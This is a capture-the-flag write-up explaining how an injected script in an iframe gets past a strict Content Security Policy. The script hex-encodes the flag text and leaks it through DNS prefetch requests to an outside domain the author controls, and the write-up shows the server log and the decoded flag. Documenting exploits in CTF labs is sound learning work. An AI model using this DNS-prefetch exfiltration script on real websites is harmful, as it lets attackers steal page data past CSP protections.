trivial
trivial.tar
is structured as follows (unnecessary files removed):
0755 - 3 Mar 00:38 -N ./
0644 521 31 Dec 1969 -N ├── Dockerfile # useless file for Docker stuff (if there was a docker-compose.yml with it, I'd be soo happy)
0755 - 3 Mar 00:38 -N └── src/
0644 758 31 Dec 1969 -N ├── index.html # exploit runs here
0644 622 31 Dec 1969 -N ├── report.html # submit exploit here
0644 818 31 Dec 1969 -N └── report.js # runs exploit
The gist of the problem is to get the flag in the iframe. (The script gets injected into the iframe.) However, index.html page has this fun CSP directive: default-src ‘none’; script-src ‘unsafe-inline’;
default-src 'none';
disallowed (almost) all requests to anywherescript-src 'unsafe-inline';
allows inline scripts without measures such as nonces and hashes
This means that (almost) all requests are blocked, but there are a few that do work:
- WebRTC can be controlled by CSP1, but does not inherit from e.g. default-src
- DNS prefetching bypasses CSP rules (I contemplated setting up a STUN/TURN server for this for soo long lol)
Using this, the flag can be extracted using:
<script>
const domain = "namae.test.nyiyui.ca"
function prefetch(url) {
const a = document.createElement("link")
a.rel = "dns-prefetch"
a.href = url
document.head.appendChild(a)
}
function encodeHex(s) {
return Array.from(new TextEncoder().encode(s), byte => byte.toString(16).padStart(2, '0')).join('');
}
let flag = document.body.childNodes[0].textContent.replaceAll(/\s/g, "")
flag = flag.substring(4, flag.length - 1)
const url = `https://lolol${encodeHex(flag)}.${domain}`
prefetch(url)
</script>
- Lines 3 to 6 are used to put
<link rel="dns-prefetch" href="${url}" />
into head. (The domain is encoded in hex because I thought that unsafe characters might be in the flag.) - Lines 12 to 15 are used to prefetch the domain
Then, checking the server logs (e.g. /var/log/nsd.log) shows the flag encoded in hex: lolol6373705f69735f6e6f745f615f73656375726974795f66656174757265.namae.test.nyiyui.ca
Decoding this (and wrapping it) yields the flag: CTF{csp_is_not_a_security_feature}